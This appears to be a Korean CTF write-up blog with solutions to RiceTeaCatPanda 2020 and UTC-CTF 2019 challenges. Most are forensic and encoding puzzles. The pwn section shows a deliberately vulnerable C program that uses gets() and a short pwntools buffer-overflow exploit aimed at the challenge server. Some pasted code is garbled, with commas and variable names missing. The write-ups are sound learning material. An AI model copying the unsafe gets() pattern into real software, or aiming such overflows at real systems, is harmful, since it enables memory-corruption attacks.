반응형
반응형
반응형

2020년 5월에 새로운 Wargame사이트를 추천합니다!

 

 

ctf.no-named.kr:1234/

 

N0Named (노나메드) 팀에서 제작한 Wargame입니다.

 

 

 

Misc, Reversing, Forensic, Pwnable, Crypto 카테고리의 문제들을 풀어보실 수 있습니다.

 

현재 29문제가 등록되어 있으며, 앞으로도 꾸준히 문제가 추가될 예정입니다.

 

 

많은 이용 부탁드립니다!

반응형
반응형

Team : N0Named

 

 

 

Forensics

 

Observe Closely

50

A simple image with a couple of twists...

by phleisch

 

 

png 파일이 하나 주어진다.

 

 

이미지만 봤을 때는 정상이다. 그럼 hxd로 까보자

 

PNG의 푸터 시그니처인 end를 검색해주었더니 뒤에 PK시그니처가 있는 것을 볼 수 있다.

해당 뒷부분을 추출해서 zip파일로 만들어주면 elf 파일이 하나 존재한다.

 

ida 64bit로 뜯어서 main 함수를 확인하면 flag를 찾을 수 있다.

 

 

 

 

 


 

 

1 Frame per Minute

50

I recently received this signal transmission known as SSTV in a mode called Martian? This technology is all very old so I'm not sure what to do with it. Could you help me out?

by phleisch

 

 

wav 파일이 하나 주어진다.

 

SSTV에 사용되는 것인데

http://users.belgacom.net/hamradio/rxsstv.htm

 

RX-SSTV: Freeware SSTV Software and SSTV Decoder

 

users.belgacom.net

이걸로 디코딩을 할 수 있다.

 

(근데 꼭 마이크로 입력해야돼?)

 


[basics] forensics

50

My friend said they hid a flag in this picture, but it's broken! Now that I think about it, I don't even know if it really is a picture...

 

 

jpeg 파일이 주어진다.

 

이미지로는 안열려서 hxd로 열었다.

 

엥 그냥 plaintext잖아

 

메모장으로 열어서 플래그포멧인 utflag를 검색하니까 플래그가 바로 나왔다.

 

 


 

Spectre

50

I found this audio file, but I don't think it's any song I've ever heard... Maybe there's something else inside?

 

 

이번에도 오디오 파일인데 문제 제목이나 지문을 보면 오디오 스펙트럼을 봐야한다는 감이 온다.

 

 

그럼그럼

 

sonic visualiser 라는 프로그램을 이용하면 된다!

반응형

'CTF Write Up' 카테고리의 다른 글

2020 Defenit CTF Write Up  (2) 2020.06.06
angstrom CTF 2020 write up  (0) 2020.03.14
RiceTeaCatPanda CTF 2020 Write up  (0) 2020.01.22
Christmas CTF 2019 Write-up 문제 풀이  (2) 2019.12.30
UTC-CTF 2019 Teaser write-up  (0) 2019.12.22
반응형

Team : N0Named

 

제가 푼 문제만 풀이를 적었습니다.

 

Misc

Strong Password

Eat, Drink, Pet, Hug, Repeat!

flags are entered in the format rtcp{flag}


Hints

  • Words are separated by underscores ("_")

  • Come on, repeat it! Just once!

 

먹는거 마시는거 애완동물 안아주기

반복!

밥 차 고양이 판다

 

flag : rtcp{rice_tea_cat_panda}

 

 

 

 


 

 

Forensics

 

Allergic College Application

100

I was writing my common app essay in Mandarin when my cat got on my lap and sneezed. Being allergic, I sneezed with him, and when I blew my nose into a tissue, the text for my essay turned really weird! Get out, Bad Kitty!

 

 

hxd로 파일 열어서 hex값 복사해다가 아래 사이트에서 인코딩을 변경해주었다.

https://dencode.com/string/hex

 

Hexadecimal String Converter Online - DenCode

Hexadecimal String Converter. (e.g. "Hello, world!" <=> "48 65 6C 6C 6F 2C 20 77 6F 72 6C 64 21")

dencode.com

GB18030 이나 EUC-CN 인코딩을 사용할 경우 다른 글자 깨짐 없이 전부 한자로 깔금하게 나온다.

설마하고 구글번역 돌려보니.. 깔끔한 문장이었다.

 

 

flag : {我_只_修改_了_两_次}

 

 


cat-chat

125

nyameowmeow nyameow nyanya meow purr nyameowmeow nyameow nyanya meow purr nyameowmeow nyanyanyanya nyameow meow purr meow nyanyanyanya nya purr nyanyanyanya nya meownyameownya meownyameow purr nyanya nyanyanya purr meowmeownya meowmeowmeow nyanya meownya meowmeownya purr meowmeowmeow meownya purr nyanyanyanya nya nyameownya nya !!!!

 

냐 냐냐냐냐냐프르르르르르

 

 

사용된 단어는 3가지이다.

In that conversation, 3 word used: nya, meow, purr

 

it seems like morse code.

nya => .

meow => _

purr => /

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
MORSE_CODE_DICT = { 'A':'._''B':'_...',
                    'C':'_._.''D':'_..''E':'.',
                    'F':'.._.''G':'__.''H':'....',
                    'I':'..''J':'.___''K':'_._',
                    'L':'._..''M':'__''N':'_.',
                    'O':'___''P':'.__.''Q':'__._',
                    'R':'._.''S':'...''T':'_',
                    'U':'.._''V':'..._''W':'.__',
                    'X':'_.._''Y':'_.__''Z':'__..',
                    '1':'.____''2':'..___''3':'...__',
                    '4':'...._''5':'.....''6':'_....',
                    '7':'__...''8':'___..''9':'____.',
                    '0':'_____'', ':'__..__''.':'._._._',
                    '?':'..__..''/':'_.._.''_':'_...._''_':'..__._',
                    '(':'_.__.'')':'_.__._'' ':'/''\n':'\n''':''':':"___..."'\'':'.____.'}
 
 
 
def decrypt(message):
    message += ' '
    message = message.replace("nya",".")
    message = message.replace("meow","_")
    message = message.replace("purr","/")
    decipher = ''
    citext = ''
    for letter in message:
        if (letter != ' ' and letter != '\n'):
            i = 0
            citext += letter
 
        else:
            i += 1
 
            if i == 2 :
                decipher += ' '
            else:
 
                decipher += list(MORSE_CODE_DICT.keys())[list(MORSE_CODE_DICT.values()).index(citext)]
                citext = ''
 
    return decipher
 
def main():
    message = '''nyameowmeow nyameow nyanya meow purr nyameowmeow nyameow nyanya meow purr nyameowmeow nyanyanyanya nyameow meow purr meow nyanyanyanya nya purr nyanyanyanya nya meownyameownya meownyameow purr nyanya nyanyanya purr meowmeownya meowmeowmeow nyanya meownya meowmeownya purr meowmeowmeow meownya purr nyanyanyanya nya nyameownya nya'''
    result = decrypt(message)
    print(result)
 
if __name__ == '__main__':
    main()
 
cs
WAIT WAIT WHAT THE HECK IS GOING ON HERE

good

 

than, go to the discord channel and copy all of the cat-chat and decode it!

 

 

than you can find this:

RTCP:TH15_1Z_A_C4T_CH4T_N0T_A_M3M3_CH4T

 

flag : RTCP{TH15_1Z_A_C4T_CH4T_N0T_A_M3M3_CH4T}

 

 


 

Chugalug's Footpads

Chugalug makes footpads that he can chug and lug. However, his left one is different from his right... I wonder why?

 

 

I downloaded 2 files: left.jpg and right.jpg

They seems that they are perfectly same, but they are not.

 

I used cmp command to find different data between left.jpg and right.jpg.

 

$ cmp -l right.jpg left.jpg 
  1720 122 162
  1721 115 164
  2041 105 143
  2042 121 160
  2328 160 173
  2329 165 124
  2330 102 150
  2854 240  63
  2855  63 172
  2856 154 145
  3016 144 137
  3017 201 136
  3019  24 162
  3110 161  63
  3332  14 137
  3626  21 156
  3627 232  60
  4215 112 124
  4405  40 143
  4413   2 110
  4775  62  64
  4776 347 156
  5125  57 103
  5149 114  61
  5150 112 141
  5400 364  65
  5401 362 175

 

1
2
3
4
5
6
7
= [162,164,143,160,173,124,150,63,172,145,137,136,162,63,137,156,60,124,143,110,64,156,103,61,141,65,175]
 
flag = ""
for cc in c:
    flag += chr(int(str(cc), 8))
print flag
 
cs

 

flag : rtcp{Th3ze_^r3_n0TcH4nC1a5}

 

 

 


Motivational Message

My friend sent me this motivational message because the CTF organizers made this competition too hard, but there's nothing in the message but a complete mess. I think the CTF organizers tampered with it to make it seem like my friend doesn't believe in me anymore, but it's working like reverse psychology on me!!!!

 

 

motivation!!!!!.txt 파일 하나가 주어진다.

 

It's reversed PNG file!

 

reverse it!

 

< motivation.txt xxd -p -c1 | tac | xxd -p -r > file.png

 

But there is no flag in picture.

 

 

I used zsteg and i can find a flag!

 

 

 


Web

 

growls at the chicken

grrrrrrR
big chicken, i hisS At you!!!


Hints

NQr2MIa1jsaifAVOn3zYeMynNJwd4oBiiem4fJHsA1WjzfyhUp1+seCW0GMijoDHb3w9BMKj7aw6hhtae5/Qw5xOqMioJU3vvEj0BEHO1wInPqlOeTRdZb8BcTsXP+Z/KBA2FjSZcpGHo7rOZ7NtR15y3eY4s/e/tgKUHvPe9MdmDe1kINtyRXgjghJO9e3uMEQmFe2Ai5moVnG7yIVfUd3QG6/Z+K4PSttbJtjWSLFO7zpmYpEOg3XBxsOw/w5scJQqJ7OLGiH22u4+JFXRlD/wPmDzk9uYlLWLcCuxnY0xuMlSfKIFJtVmF0ViO4o4X89ZwsQjjHuYYDaB3el7iA63BzBlsC54Q7Ekv70/GI0UA3R3zJkMaBV12Z6NAE/kAgEJu9ZRcVm6MAIZInLwMU4R1frM0Bks1jeTe72agmxnAIrR8XDeAxzovbvXFwoxNyxiA63fPJGPVoGZq4ecfGvJ23i/Cg+cynB35lc3f+4QifpjCn+MxWkKCzCVEJXdDah19yXKlIxbaR1zm+YHkS0YSUzjr7NJUXHfDCrwAUpXpikfi2f9tgcXEnuhszScE1PCbdt22rRz1pS7MNdRxjCZ5j+8BQNRBLi2BjLGW14X3zd4d6ieoHWH+4fmbqU9dFsUgKN5qL4Gs2LZbbQwkf3+VbIRQK9RaSO9Hj+4/T0=

 

Public

MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmy27XroKLfED3q32/K7G +TnREe2ZkSgceDJH9X+Jf2I++kJHxNxe5HbQBdTHW/tLTWxwMEpric9zGFlt1f76 zdG2iocGw81BVznN/btVAYJBGbhJPYTeULSCv4WG+NTrss8NSl6WGS9NCOKEWTA/ JjR1z8fXik5foTK18sLJloRFGmxcKV6ZI0VFEi77U6PouOseaPBRYgVlPAjNM/pl AuJotPjFYtNTQWCgpj+Vgt3cxm9erBl8G9K9rIsK6snNA1yEZT774CMLCnyovkd5 i55/5mIjGOdmy+x3qCYC2J+Xmssx56OebPyO8cAou8XQf5E/PMxBZ+8X5zuqnHza 2oK9Lo4K2hYVGpCBmG8WhCstYVvfxeb0cXifPOZnpiC4DrQ3q5atx7sH1V4OaAze eJ+nWKTKVaT9NLKEC3ObUNtLLjoh3AZr/RFh9OsYf3rmRFflJkswlVpfMQF6MAR4 CrDITaTdL0M5RWzE2/1Mh98p2HvTJXz0bFbcIfAvd3rAYku0P3OyO3EZ7KrpGXZa 4Mdu10GKEllk9bwCmDFHK/HMVzZPFK9RvKNpMyWchLCLO2gRxIHySn3lF/MHlBkq 0+DH3YM5L0EW92Uzu/IkZJ4o3z7YnrMHdVVN14bGlBfspn+t7LT2xTx3sWYQLm6r xYeQDSkiY24IqAiQzwdPmi0CAwEAAQ==

 

Private

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

 

 

 

 

Add -----BEGIN RSA PRIVATE KEY----- and -----END RSA PRIVATE KEY----- to head and bottom of prviate base64 strings. than make private.txt

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_PKCS1_v1_5
from base64 import b64decode
 
enc ='''
NQr2MIa1jsaifAVOn3zYeMynNJwd4oBiiem4fJHsA1WjzfyhUp1+seCW0GMijoDHb3w9BMKj7aw6hhtae5/Qw5xOqMioJU3vvEj0BEHO1wInPqlOeTRdZb8BcTsXP+Z/KBA2FjSZcpGHo7rOZ7NtR15y3eY4s/e/tgKUHvPe9MdmDe1kINtyRXgjghJO9e3uMEQmFe2Ai5moVnG7yIVfUd3QG6/Z+K4PSttbJtjWSLFO7zpmYpEOg3XBxsOw/w5scJQqJ7OLGiH22u4+JFXRlD/wPmDzk9uYlLWLcCuxnY0xuMlSfKIFJtVmF0ViO4o4X89ZwsQjjHuYYDaB3el7iA63BzBlsC54Q7Ekv70/GI0UA3R3zJkMaBV12Z6NAE/kAgEJu9ZRcVm6MAIZInLwMU4R1frM0Bks1jeTe72agmxnAIrR8XDeAxzovbvXFwoxNyxiA63fPJGPVoGZq4ecfGvJ23i/Cg+cynB35lc3f+4QifpjCn+MxWkKCzCVEJXdDah19yXKlIxbaR1zm+YHkS0YSUzjr7NJUXHfDCrwAUpXpikfi2f9tgcXEnuhszScE1PCbdt22rRz1pS7MNdRxjCZ5j+8BQNRBLi2BjLGW14X3zd4d6ieoHWH+4fmbqU9dFsUgKN5qL4Gs2LZbbQwkf3+VbIRQK9RaSO9Hj+4/T0=
'''
 
rsa_key = RSA.importKey(open('private.txt'"rb").read())
cipher = Cipher_PKCS1_v1_5.new(rsa_key)
raw_cipher_data = b64decode(enc)
phn = cipher.decrypt(raw_cipher_data, None)
print(phn)
cs

 

plain text : unknown-123-246-470-726.herokuapp.com/

 

 

 

 

1
2
3
4
5
6
7
8
= [9,20,30,15,16,5,14,19,30,27,29,8,20,13,12,28]
ss = "0abcdefghijklmnopqrstuvwxyz[]. "
= ""
for i in range(len(s)):
    f+= ss[s[i]]
 
print f
 
cs

it opens [.html]

 


 

 

Cryptography

 

15

Lhzdwt eceowwl: Dhtnwt Pcln Eaao Qwoohvw

Okw qsyo okcln bah'i fslo cl baht Dhtnwt Pcln dhtnwt cy yazwalw'y eaao ehlnhy. Dho sy co ohtly aho, okso zcnko dw fkso bah nwo. S 4vksllwt hmqasiwi s mkaoa slalbzahyqb oa okw ycow ykafvsycln kcy ewwo cl s mqsyocv dcl ae qwoohvw, fcok okw yosowzwlo: "Okcy cy okw qwoohvw bah wso so Dhtnwt Pcln." Sizcoowiqb, kw ksi ykawy al. Dho okso'y wgwl fatyw.

Okw mayo fwlo qcgw so 11:38 MZ al Xhqb 16, sli s zwtw ofwlob zclhowy qsowt, okw Dhtnwt Pcln cl rhwyocal fsy sqwtowi oa okw tanhw wzmqabww. So qwsyo, C kamw kw'y tanhw. Kaf ici co ksmmwl? Fwqq, okw DP wzmqabww ksil'o twzagwi okw WJCE isos etaz okw hmqasiwi mkaoa, fkcvk yhnnwyowi okw vhqmtco fsy yazwfkwtw cl Zsbecwqi Kwcnkoy, Akca. Okcy fsy so 11:47. Oktww zclhowy qsowt so 11:50, okw Dhtnwt Pcln dtslvk siitwyy fsy mayowi fcok fcykwy ae ksmmb hlwzmqabzwlo. Ecgw zclhowy qsowt, okw lwfy yosocal fsy valosvowi db slaokwt 4vksllwt. Sli oktww zclhowy qsowt, so 11:58, s qclp fsy mayowi: DP'y "Owqq hy sdaho hy" alqclw eathz. Okw eaao mkaoa, aokwtfcyw plafl sy wjkcdco S, fsy soosvkwi. Vqwgwqsli Yvwlw Zsnsuclw valosvowi okw DP cl rhwyocal okw lwjo isb. Fkwl rhwyocalwi, okw dtwspesyo ykceo zslsnwt ysci "Ak, C plaf fka okso cy. Kw'y nwoocln ectwi." Zbyowtb yaqgwi, db 4vksl. Laf fw vsl sqq na dsvp oa wsocln aht esyo eaai cl mwsvw.

tovm{v4T3Ehq_f1oK_3J1e_i4O4}

 

치환암호다.

https://quipqiup.com/

 

quipqiup - cryptoquip and cryptogram solver

 

quipqiup.com

 

 

flag : rtcp{c4R3Ful_w1tH_3X1f_d4T4}

 

 


 

That's a Lot of Stuff...

Do you want some numbers? Here, take these numbers. I don't need them anyways. I have too many numbers at home, so go on, take them. Shoves numbers towards the computer screen

31 31 35 20 31 32 34 20 31 34 37 20 31 34 37 20 31 31 35 20 31 35 32 20 31 30 31 20 31 34 37 20 31 31 35 20 31 37 31 20 31 30 31 20 31 37 30 20 31 31 36 20 31 35 31 20 31 30 31 20 31 37 32 20 31 31 31 20 31 30 34 20 31 30 35 20 36 30 20 31 31 31 20 31 30 34 20 31 31 31 20 31 37 31 20 31 31 31 20 31 30 34 20 31 30 35 20 36 34 20 31 31 31 20 31 30 34 20 31 30 35 20 36 35 20 31 31 31 20 31 30 34 20 31 30 35 20 36 30 20 31 31 31 20 31 30 34 20 31 30 35 20 36 35 20 31 31 31 20 31 30 34 20 31 30 35 20 31 34 37 20 31 31 35 20 31 32 34 20 31 34 37 20 31 34 37 20 31 31 35 20 31 37 31 20 31 30 31 20 31 37 30 20 31 31 35 20 31 35 31 20 31 30 31 20 31 37 32 20 31 31 31 20 31 30 34 20 31 31 31 20 31 36 37 20 31 31 31 20 31 30 34 20 31 30 35 20 36 35

 

hex -> oct -> dec

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
task = '''36 31 20 36 31 20 36 34 20 34 30 20 36 31 20 36 31 20 36 36 20 34 30 20 37 31 20 37 31 20 34 30 20 36 31 20 36 31 20 36 32 20 34 30 20 36 31 20 36 32 20 36 33 20 34 30 20 37 31 20 37 31 20 34 30 20 36 34 20 37 30 20 34 30 20 36 31 20 36 31 20 36 30 20 34 30 20 36 31 20 36 31 20 37 30 20 34 30 20 36 35 20 36 31 20 34 30 20 36 31 20 36 31 20 36 34 20 34 30 20 36 31 20 36 31 20 36 35 20 34 30 20 36 34 20 37 31 20 34 30 20 36 34 20 37 30 20 34 30 20 36 31 20 36 31 20 36 30 20 34 30 20 36 31 20 36 31 20 36 35 20 34 30 20 37 31 20 36 35 20 34 30 20 37 31 20 36 37 20 34 30 20 36 31 20 36 31 20 36 34 20 34 30 20 36 35 20 36 31 20 34 30 20 37 31 20 36 35 20 34 30 20 36 35 20 36 32 20 34 30 20 37 31 20 36 35 20 34 30 20 37 31 20 37 31 20 34 30 20 36 34 20 37 30 20 34 30 20 36 34 20 37 30 20 34 30 20 36 37 20 36 36 20 34 30 20 37 31 20 36 35 20 34 30 20 37 31 20 37 31 20 34 30 20 36 35 20 36 32 20 34 30 20 36 31 20 36 31 20 36 36 20 34 30 20 36 31 20 36 31 20 36 35 20 34 30 20 36 31 20 36 32 20 36 35'''
 
task = task.replace(" "",")
print task
 
###
 
= [36,31,20,36,31,20,36,34,20,34,30,20,36,31,20,36,31,20,36,36,20,34,30,20,37,31,20,37,31,20,34,30,20,36,31,20,36,31,20,36,32,20,34,30,20,36,31,20,36,32,20,36,33,20,34,30,20,37,31,20,37,31,20,34,30,20,36,34,20,37,30,20,34,30,20,36,31,20,36,31,20,36,30,20,34,30,20,36,31,20,36,31,20,37,30,20,34,30,20,36,35,20,36,31,20,34,30,20,36,31,20,36,31,20,36,34,20,34,30,20,36,31,20,36,31,20,36,35,20,34,30,20,36,34,20,37,31,20,34,30,20,36,34,20,37,30,20,34,30,20,36,31,20,36,31,20,36,30,20,34,30,20,36,31,20,36,31,20,36,35,20,34,30,20,37,31,20,36,35,20,34,30,20,37,31,20,36,37,20,34,30,20,36,31,20,36,31,20,36,34,20,34,30,20,36,35,20,36,31,20,34,30,20,37,31,20,36,35,20,34,30,20,36,35,20,36,32,20,34,30,20,37,31,20,36,35,20,34,30,20,37,31,20,37,31,20,34,30,20,36,34,20,37,30,20,34,30,20,36,34,20,37,30,20,34,30,20,36,37,20,36,36,20,34,30,20,37,31,20,36,35,20,34,30,20,37,31,20,37,31,20,34,30,20,36,35,20,36,32,20,34,30,20,36,31,20,36,31,20,36,36,20,34,30,20,36,31,20,36,31,20,36,35,20,34,30,20,36,31,20,36,32,20,36,35]
 
flag = ""
for aa in a:
    flag += chr(int(str(aa), 16))
flag = flag.replace(" "",")
print flag
 
###
 
= [61,61,64,40,61,61,66,40,71,71,40,61,61,62,40,61,62,63,40,71,71,40,64,70,40,61,61,60,40,61,61,70,40,65,61,40,61,61,64,40,61,61,65,40,64,71,40,64,70,40,61,61,60,40,61,61,65,40,71,65,40,71,67,40,61,61,64,40,65,61,40,71,65,40,65,62,40,71,65,40,71,71,40,64,70,40,64,70,40,67,66,40,71,65,40,71,71,40,65,62,40,61,61,66,40,61,61,65,40,61,62,65]
 
flag = ""
for bb in b:
    flag += chr(int(str(bb), 8))
flag = flag.replace(" "",")
print flag
 
###
 
= [114,116,99,112,123,99,48,110,118,51,114,115,49,48,110,115,95,97,114,51,95,52,95,99,48,48,76,95,99,52,116,115,125]
 
flag = ""
for cc in c:
    flag += chr(int(str(cc), 10))
print flag
 
cs

 


 

General Skills

Treeeeeeee

It appears that my cat has gotten itself stuck in a tree... It's really tall and I can't seem to reach it. Maybe you can throw a snake at the tree to find it?

Oh, you want to know what my cat looks like? I put a picture in the hints.


Hints

Here, my cat looks like this:

#FFC90E#000000#FFC90E#FFFFFF#FFFFFF#FFFFFF#FFFFFF#FFC90E#FFFFFF #FFC90E#FFC90E#FFC90E#FFC90E#FFC90E#FFC90E#FFC90E#FFFFFF#FFFFFF #FFFFFF#FFFFFF#FFC90E#FFC90E#FFC90E#FFC90E#FFC90E#FFFFFF#FFFFFF #FFFFFF#FFFFFF#FFC90E#FFC90E#FFC90E#FFC90E#FFC90E#FFFFFF#FFFFFF #FFFFFF#FFFFFF#FFFFFF#FFC90E#FFFFFF#FFC90E#FFFFFF#FFFFFF#FFFFFF

 

 

Bigtree/ has 29,185 items, totalling 116.2 MB.

 

수많은 폴더에 jpg 파일들이 숨어있다.

 

To gather .jpg files in one folder, I used find & exec command.

 

bigtree$ find . -type f -name "*.jpg" -exec mv {} ./flag \;

 

All of .jpg files move to ./flag/

 

Now, easily find flag file which has different file size.

 

flag file : 2.2KB

others : 1.5KB, 1.7KB

 

반응형

'CTF Write Up' 카테고리의 다른 글

angstrom CTF 2020 write up  (0) 2020.03.14
UTCTF 2020 Write up  (0) 2020.03.07
Christmas CTF 2019 Write-up 문제 풀이  (2) 2019.12.30
UTC-CTF 2019 Teaser write-up  (0) 2019.12.22
X-MAS CTF 2019 X-MAS Helper write-up  (0) 2019.12.21
반응형

https://ctftime.org/event/948

 

UTC-CTF 2019 Teaser

금요일, 20 12월 2019, 23:00 UTC — 토요일, 21 12월 2019, 23:00 UTC  On-line A UTC-CTF event. Format: Jeopardy  Official URL: https://utc-ctf.club/ Future weight: 0.00  Rating weight: 0.00  Event organizers 

ctftime.org


PWN

Simple bof (baby)

Want to learn the hacker's secret? Try to smash this buffer!

You need guidance? Look no further than to Mr. Liveoverflow. He puts out nice videos you should look if you haven't already

By: theKidOfArcrania

nc chal.utc-ctf.club 35235

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();
 
void print_flag();
 
void vuln() {
  char padding[16];
  char buff[32];
  int notsecret = 0xffffff00;
  int secret = 0xdeadbeef;
 
  memset(buff, 0sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFFsizeof(padding)); // Zero-out the padding.
 
  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff); 
 
  // Prints out the stack before modification
  visualize(buff);
 
  printf("Input some text: ");
  gets(buff); // This is a vulnerable call!
 
  // Prints out the stack after modification
  visualize(buff); 
 
  // Check if secret has changed.
  if (secret == 0x67616c66) {
    puts("You did it! Congratuations!");
    print_flag(); // Print out the flag. You deserve it.
    return;
  } else if (notsecret != 0xffffff00) {
    puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
  } else if (secret != 0xdeadbeef) {
    puts("Wow you overflowed the secret value! Now try controlling the value of it!");
  } else {
    puts("Maybe you haven't overflowed enough characters? Try again?");
  }
 
  exit(0);
}
 
int main() {
  safeguard();
  vuln();
}
 
cs

 

정말 친절한 bof 문제다..

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote("chal.utc-ctf.club"35235)
 
= 0x67616c66
payload = "A"*48 + p32(a)
 
p.recvuntil("Input some text: ")
p.sendline(payload)
p.interactive()
cs

 

 

FLAG : utc{buffer_0verflows_4re_c00l!}

 

 


Crypto

 

RSAcue [not solved]

I heard you like to RSAcue the world. There we go

By: knapstack

 

 

공개키로 publickey.pem이 주어졌다.

 

여기서 n값을 구해내보자! (openssl)

https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key

 

RSA: Get exponent and modulus given a public key

